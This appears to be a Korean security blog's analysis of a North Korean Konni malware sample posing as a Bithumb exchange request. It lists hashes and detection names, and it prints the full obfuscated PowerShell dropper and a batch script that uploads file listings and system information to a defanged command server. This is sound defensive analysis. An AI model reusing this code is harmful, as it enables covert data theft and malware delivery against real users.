오늘은 북한 해킹 단체 Konni(코니) 암호화폐 거래소 빗썸(Bithumb) 정보 업데이트 요청으로 위장한 악성코드- 금융당국 요청에 따른 프로젝트 정보 확인 요청의 건.zip (2024.7.23)에 분석을 진행을 해보겠습니다.
코니 는 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT 37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 그룹은 북한에 본부를 두는 것으로 추정되며 한국과 미국의 정부 기관 및 조직을 표적으로 삼는 것으로 알려졌으며 북한 해커 그룹은 피싱 메시지나 이메일을 통해 Konni RAT를 배포하며 공격자는 Konni RAT를 사용하여 피해자로부터 정보를 수집하고, 스크린 샷을 캡처하고, 파일을 훔치고,
원격 대화형 셸을 구축합니다. KONNI는 러시아, 동아시아, 유럽, 중동의 정치 집단을 표적으로 한 다양한 북한 공격 혐의와 연관되어 있으며 이번에는 암호화폐 거래소 빗썸(Bithumb)에서 보낸 것처럼 해서 가상화폐(암호화폐)를 탈취하기 위한 작업으로 추측됩니다.
금융당국 요청에 따른 프로젝트 정보 확인 요청의 건.zip
으로 돼 있으며 해쉬값은 다음과 같습니다.
파일명:금융당국 요청에 따른 프로젝트 정보 확인 요청의 건.zip
사이즈:497 KB
MD5:6155d592e9083937ae5dadb304a69053
SHA-1:0e491c00e5c4be460cb4632d96e4963e16c487a2
SHA-256:65bc642b1c454d314ad71c5f4a2348f9fbb5d290f6a21f6a5028d852427f5b1a
그리고 압축을 풀며
#1. 프로젝트 정보 업데이트 요청사항.xlsx 이라고 된 316MB짜리 파일이 있는 것이 보이는데 이게 악성코드가 실행되는 파일이고 #2. 금융당국 요청에 따른 프로젝트 정보 확인 요청의 건.pdf는 악성코드 실행시 보이게 되는 파일입니다.
해당 악성코드 해쉬값
파일명:#1. 프로젝트 정보 업데이트 요청사항.xlsx.lnk
사이즈:309 MB
MD5:e3eeeebb117b7c3128d87b6e027bd85d
SHA-1:d3c78ad4977d486defeb72f888e3f0c4231ef5d8
SHA-256:3a2d628db6cd2a526ee908d3a4763b167f517ba18c9af86846e016b8d9221397
![악성 PowerShell 코드](https://blog.kakaocdn.net/dn/kWpAd/btsIKXz0CyS/KTcC0uz9k3xYLaxq47K3tK/img.webp)
악성코드에 포함된 악성 PowerShell 코드
StringData
{
namestring: xlsx File
relativepath: not present
workingdir: not present5
commandlinearguments: /c sixteenthaa||g(o)to& po^wer(s)h^ell -wind(o)wstyle hidden "function (f)ight{param($couch, $scholar);<#belong bird#> expand $couch <#relax fashion#> -F:* $scho(l)ar;};function credit{param($software,($)disorder,$p(r)otein,$stom(a)ch,$rail);<#pa(r)tly sin#> ${#}=&(('){(2)}{1}{3(}){0}' -f
'je(c)t','w-','Ne','Ob') ('{2}({)4}{(6)}{3(}){(0)}{1}{5}'
-f 'le'(,)'Str','Sys','O.Fi','tem('),'eam','.I')(<#rem(a)i
n sauce#>($)software,<#egg girl#>'open',<#gov(e)rnment ult(i
)mately#>'read');<#u(p)on cli(n)ic#> ${#}.('{0}' -f 'Seek').
In(v)oke(<#mis(s)ile publi(c)#>$disorder,'b(e)gin');<#acr(o)ss
flow#> ${/``}=&('{(1)}{4}{3}{2}{0}' -(f) 't','Ne','ec','Obj('),'
w-') by(t)e[] <#vi(c)tory armed#>$pro(t)ein; <#get cl(e)ar#>${#}
.('{1}{0}' -f 'ad','R(e)').Invok(e)(<#total invite#>${/``},0,<(#
)complicated lap(#)>$protein); ${#}.('({)2}{1}{0}' -f 'e','os','
Cl').Invoke();for(${(]=}=0;${(]=} -lt $protein;${(]=}++){<#media
factor#>${/``}[${(]=}]=${/``}[($){(]=}] -bxor $stomac(h);}<#stab
ilit(y) d(e)velop#> &('{0}{3}{1}{2}' -f '(s)e','cont','ent','t-'
) $r(a)il <#waste d(r)aft#> ${/``} -En(c)oding <#net hi(g)hlight
#> Byte;};fun(c)tion meat{par(a)m($our);<#hour suc(c)ess#> &('{0
}{2}{3}{1}' -f 'rem','em','ove-','it') <#producti(o)n define#> -
path $our <#pack(a)ge serve#> -force;};fu(n)ction privac(y){para
m($thr(o)ughout); <#report versi(o)n#>${ )[ //} = $t(h)roughout.
('{0}{1}{2}' -f 'subs','trin','g').I(n)voke(0,$throughout.('{0}{
1}' -f 'leng','th')-4) (+) ''; <#domina(n)t persuade#>ret(u)rn $
{ )[ //};};functio(n) artistic{${ /.((} = $env:publi(c)<#educ(a)
tion sake#> + '\' +<#dea(d) direc(t)or#> 'documents';<#l(e)ss re
spon(s)ible#> ret(u)rn ${ /.((};};function inner{para(m)($day);
<#wound em(o)tion#>${./#=} = &('{0}{2}{1}' -f 'Sp','Path','lit-'
) $day;<#oran(g)e mistake#> retu(r)n ${./#=};};f(u)nction fine{r
e(t)urn &('{3}{0}{1}{2}{4}' -(f) 't-L','oc','at(i)','Ge','on');}
;fun(c)tion score{<#ciga(r)ette afterno(o)n#>retu(r)n $env:T(e)m
p;};func(t)ion afford{${``} = fin(e); ${)``-=} = r(e)ceive -husb
and ${``}; <#(b)uild highw(a)y#>if(${)``-=}.('{0}{1}' -f 'leng',
'th') -eq 0) {${``} = score; <#en(h)ance court#>${)``-=} = rece(
i)ve -hu(s)band ${``};} ret(u)rn ${)``-=};};fu(n)ction yet{${* [
#]} = $env:publi(c)<#complicated depen(d)#> + '\' + 'transfer(.)
cab';<#Asian st(a)re#> return ${* [#]};};fu(n)ction dark{${#~]]}
= $env:publ(i)c<#cow those#>+'\documents\start(.)vbs';<#collect
borrow#> return ${#~]]};};f(u)nction receive{param($husband); <#
ear precisely#>${]@(@(]}=&('{0}{3}{4}{1}{2}' -f 'Ge(t)','ldIt','
e(m)','-C','hi') -Path <#p(r)oposal cholesterol#> $hu(s)band -Re
cur(s)e <#long so#>*(.)lnk | <#clear(l)y works#>&('{0}{1}{3}{4}
{2}' -f 'w(h)e','re','ct','-o','bje') {$_.('{0}{1}' -f '(l)eng',
'th') -eq <#(p)hysical know#>0x1354(F)A1A} | <#school cons(i)der
able#>&('{1}{2}{4}{3}{0}' -f 'ct','(S)ele','ct-','je','Ob') -Exp
an(d)Property <#nu(m)erous unfortunat(e)ly#>FullName; return <#l
ost str(e)tch#> ${]@(@(]};};${.} = afford;<#bad expan(s)ion#>${#
(} = inner -d(a)y ${.};<#la(t)e fi(g)hter#> ${]``;} = priv(a)cy
-th(r)oughout ${.};c(r)edit -soft(w)are <#prod(u)ction paym(e)nt
#> ${.} -di(s)order <#in(t)ense le(a)d#> 0x0(0)002130 -protein 0
(x)000035CA -st(o)mach <#ph(y)sical typi(c)ally#> 0xA(B) -rail <
#contribut(e) guard#> ${]``;};<#un(i)verse (s)pokesman#> & ${]``
;};${.)@##]}=yet;<#requ(i)re suppo(r)ter#>credit -soft(w)are <#m
utual d(e)scribe#> ${.} -diso(r)der <#cour(a)ge red#> 0x00(0)270
DE -protein <#implement income#> 0x00(0)13CD6 -stom(a)ch <#b(r)a
nch date#> 0(x)F5 -rail <#ti(r)e exac(t)ly#> ${.)@##]};<#ac(a)de
mic na(t)ion#>m(e)at -our ${.};${()``.*-} = artistic;<#c(o)nvert
sell#>fight -couch ${.)@##]} -scholar <#English elderly#>${()``.
*-};<#inquiry physical#>meat -our ${.)@##]};${*/ -*]} = <#mail p
ee(r)#>dark;<#car se(v)en#>& ${*/ -*]};"
iconlocation: (.)xlsx
}
PowerShell 코드 설명
해당 PowerShell 스크립트는 난독화 되어서 악성코드를 실행 러한 스크립트는 일반적으로 시스템에 악성 소프트웨어를 설치하거나 민감한 데이터를 유출하는 것이 목적
주요 기능 설명
1.fight 함수 설명:
해당 함수는 두 매개변수 $couch 와 $scholar를 사용을 하고 있음
PowerShell의 Expand-Archive 명령을 사용하여 $couch (보통 압축 파일)로부터 모든 파일을 $scholar 디렉터리에 추출
2. credit 함수 설명:
해당 함수는 credit 이라는 이름의 함수로 파일을 읽고 데이터를 암호화하거나 변조하고 다른 파일로 저장하는 역할
중요 변수 및 동작:
${#}:새 객체를 생성하여 파일을 열고(open) 읽기(read) 작업을 수행
${/``}:암호화 작업을 위한 바이트 배열
-bxor:XOR 연산을 사용하여 데이터를 암호화하거나 복호화
Seek,Read,Close:파일 포인터를 이동하고 데이터를 읽으며 파일을 닫는 작업을 수행
Set-Content:결과 데이터를 $rail 경로에 저장 해당 함수는 특정 알고리즘에 따라 데이터를 암호화하여 다른 파일로 저장 특히 XOR 연산을 사용하여 데이터를 조작
3.meat 함수 설명:
주어진 파일 경로 $our를 강제로 삭제하는 기능을 수행
해당 함수는 Remove-Item 명령을 사용하여 파일 또는 디렉토리를 삭제
4.privacy 함수 설명:
문자열 $throughout 에서 마지막 4문자를 제거하고 반환하는 기능
Substring 과 Length 메서드를 사용하여 문자열을 조작
5. artistic 함수 설명:
Public\Documents 경로를 반환
해당 함수는 보통 악성코드가 파일을 숨기거나 저장할 경로로 사용될 수 있는 시스템 디렉터리 경로를 제공
6.inner 함수 설명:
경로 문자열 $day 를 분할하여 배열로 반환
Split-Path 명령을 사용하여 경로의 각 부분을 나눔
7.fine 함수 설명:
시스템의 위치 정보를 반환
Get-Location 명령을 사용하여 현재 작업 디렉토리를 반환
8.score 함수 설명:
시스템의 임시 디렉터리 경로를 반환
$env:Temp는 현재 사용자 계정의 임시 폴더 경로를 나타냄
9.afford 함수 설명:
시스템의 현재 위치에서 특정 파일을 찾고 없으면 임시 디렉터리에서 파일을 검색
receive 함수는 특정 조건에 맞는 파일을 검색하여 결과를 반환
10.yet 함수 설명:
Public 디렉터리에 transfer(.)cab 파일 경로를 반환(생성)
11. dark 함수 설명:
Public\documents\start.vbs 경로를 반환
12. receive 함수설명:
특정 경로 $husband 에서 (.)lnk 파일을 반환 검색하여 특정 조건을 만족하는 파일만 선택하여 전체 경로를 반환
Get-ChildItem,Where-Object,Select-Object 등의 명령을 사용하여 파일을 필터링
해당 함수는 (.)lnk 파일을 악용하여 추가적인 악성 행위를 수행
여기서 #1. 프로젝트 정보 업데이트 요청사항.xlsx 링크를 실행을 하면 당연히 악성코드가 실행되고 C:\Users\Public\documents 파일에 악성코드 vbs 파일들이 생기는 것을 확인할 수가 있습니다.
![악성코드 가 생성한 documents 폴더 및 파일등](https://blog.kakaocdn.net/dn/cSQ305/btsILl1FvmM/PvLT0GEd9aEcf67pZwSf40/img.webp)
컴퓨터 개인정보 유출 VBS
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4.txt
timeout -t 5 /nobreak
call 90262621.bat "hxxp://shutss(.)com/upload(.)php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 90262621.bat "hxxp://shutss(.)com/upload(.)php" "d2.txt" "%COMPUTERNAME%_docu.txt" >nul
call 90262621.bat "hxxp://shutss(.)com/upload(.)php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 90262621.bat "hxxp://shutss(.)com/upload(.)php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul
VBS 코드 설명
해당 스크립트는 Windows 명령 프롬프트에서 실행되며 사용자의 파일 정보를 수집하고 외부 서버로 전송하는 기능을 수행
1.pushd "%~dp0"
설명:
현재 스크립트가 위치한 디렉토리로 이동
%~dp0는 스크립트 파일의 드라이브 문자와 경로를 나타냄
2. dir 명령
설명:
사용자의 다운로드,문서, 바탕 화면 디렉터리의 모든 파일 목록을 검색하여 각각 d1(.) txt,d2(.)txt,d3(.)txt 파일로 저장
%username% 은 현재 사용자 계정 이름을 나타내며 /s 플래그는 하위 디렉터리까지 포함하여 목록을 생성
3.systeminfo
설명:
시스템 정보를 수집하여 d4(.)txt 파일로 저장
systeminfo 명령은 운영 체제 버전, 프로세서 정보, 메모리 상태, 네트워크 구성 등 시스템의 상세 정보를 제공
4.timeout
설명:
초 동안 대기 시간
/nobreak 옵션은 사용자가 키를 눌러 대기 시간을 중단할 수 없도록 함
이렇게 해서 다음 명령의 실행 전에 약간의 지연을 주려고 사용
5.call 명령
설명:
90262621(.)bat 파일을 호출하여 파일 업로드를 수행 각 호출은 수집된 데이터를 외부 서버로 전송하는 작업을 포함합니다.
hxxp://shutss(.)com/upload(.)php:파일을 업로드할 서버 주소
d1(.)txt,d2(.)txt,d3(.)txt,d4(.)txt:업로드할 파일 이름
%COMPUTERNAME%_down(.)txt,%COMPUTERNAME%_docu(.)txt,%COMPUTERNAME%_desk(.)txt, %COMPUTERNAME%_sys(.)txt:서버에 업로드될 파일의 이름으로 컴퓨터 이름을 접두사로 사용하여 구별해서 업로드
목적
정보 수집: 사용자의 다운로드, 문서, 바탕 화면의 파일 목록과 시스템 정보를 수집하여 저장
데이터 유출:수집된 데이터를 외부 서버로 전송하여 민감한 정보를 유출
조용한 실행: @echo off 와 >nul을 사용하여 사용자에게 명령 실행을 숨기고 스크립트가 실행되는 동안의 출력 내용을 숨김
PDF 내용
![#2. 금융당국 요청에 따른 프로젝트 정보 확인 요청의 건 PDF 실행](https://blog.kakaocdn.net/dn/oJyoD/btsILxgEMC1/kksTyypZS330R5JIqRwykk/img.webp)
안녕하세요. 빗썸입니다.
최근 금융당국에서 빗썸에 상장된 프로젝트 재단들을 대상으로 최신
정보를 요청함에 따라,
첨부된 파일(#.유첨)에 해당 내용을 작성하여 2024.07.25(목)까지 회
신 부탁드립니다.
> 요청 항목 : 코인 발행 재단의 소재 국가, 프로젝트 내용설명과 분기별 로드맵
발행 및 유통 코인 수, 미발행 코인의 유통 계획 등.
모든 항목은 2024.07.18(목) 기준으로 내용 작성 부탁드리며, 각 항
목별로 추가적인 코멘트가 필요할 경우 자료 첨부가 가능합니다.
자료 작성에 추가적인 문의사항이 있으시다면 언제나 회신해주시기
바랍니다.
*해당 데이터 미제출 및 부정확한 기재로 인한 모든 책임은 재단에 있음을 안내
드립니다.
감사합니다.
빗썸 드림
이라고 마치 빗썸에서 보낸것으로 위장하는 것을 확인할 수가 있습니다.
2024-07-23 23:48:50 UTC 기준 바이러스토탈 결과
ALYac:Trojan.Agent.LNK.Gen
Avast:LNK:Agent-IL [Trj]
AVG:LNK:Agent-IL [Trj]
ESET-NOD32:LNK/TrojanDropper.Agent.EA
Google:Detected
Kaspersky:HEUR:Trojan.Multi.Agent.gen
Sophos:Mal/PowLnkObf-A
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan.Agent.Ngil
VBA32:Trojan.Link.Crafted
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Agent.gen
그리고 C&C 서버는 다음과 같습니다.
![transfer.cab 에 포함 이 된 VBS 파일](https://blog.kakaocdn.net/dn/cSAv8v/btsIKTkfrZc/JKVxLKnSl6WnUFrpe9q4Uk/img.webp)
C&C
176(.)97(.064(.)174:80 (hxxp://shutss(.)com/list(.)php?6385730(0)2331562265=bx5RX5T
b(x)6I5%2fs4mBw%3d%3d)
35(.)245(.)79(.)218:443(hxxps://thevintagegarage(.)com)
최근 북한 애들 보니까 transfer(.)cab 이런 식으로 cab 파일에 vbs 파일을 집어넣어 두고 풀고 삭제 그리고 한국 사이트는 수사가 잘 이루어지니 오픈소스를 기반으로 한 설치형 블로그 또는 CMS 워드프레스 사이트 하나 취약점 악용을 해서 해킹 후 악용을 하는 것 같습니다.해당 워드프레스 이용을 하시는 분들은 점검을 통해서 취약점을 제거하시길 바랍니다.그리고 보고서 는 스스로 쓰자!참고로 해당 악성코드 실행시 엑셀 이 실행 되지만 정상적으로 파일은 불러오지 못함
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
부고 알림 부모님 별세를 악용한 스미싱 사이트-zxcv(.)be/e3pp8yb(2024.7.30) (0) | 2024.07.31 |
---|---|
북한 해킹 단체 김수키(Kimsuky) 구글 드라이브로 위장한 사이트-gplokio(.)site(2024.7.23) (0) | 2024.07.30 |
X(트위터) 자신의 게시물로 Grok(그록) AI 학습 비활성화 방법 (0) | 2024.07.29 |
윈도우 7월 보안 업데이트로 인해 PC가 BitLocker 복구 상태로 전환 (0) | 2024.07.26 |
카카오 광고 차단 하기 위한 호스트 파일 조작시 위험성 (0) | 2024.07.24 |
김수키 에서 만든 피싱 사이트 고려대학교 지식기반 포털시스템-osihi(.)store/korea(2024.7.21) (0) | 2024.07.22 |
Python(파이썬)으로 만들어진 스틸러(Stealer)-ud123.bat(2024.7.15) (0) | 2024.07.19 |
윈도우 11 버전 24H2 출시 이후 Windows 업데이트 크기는 더 작아질것임 (0) | 2024.07.18 |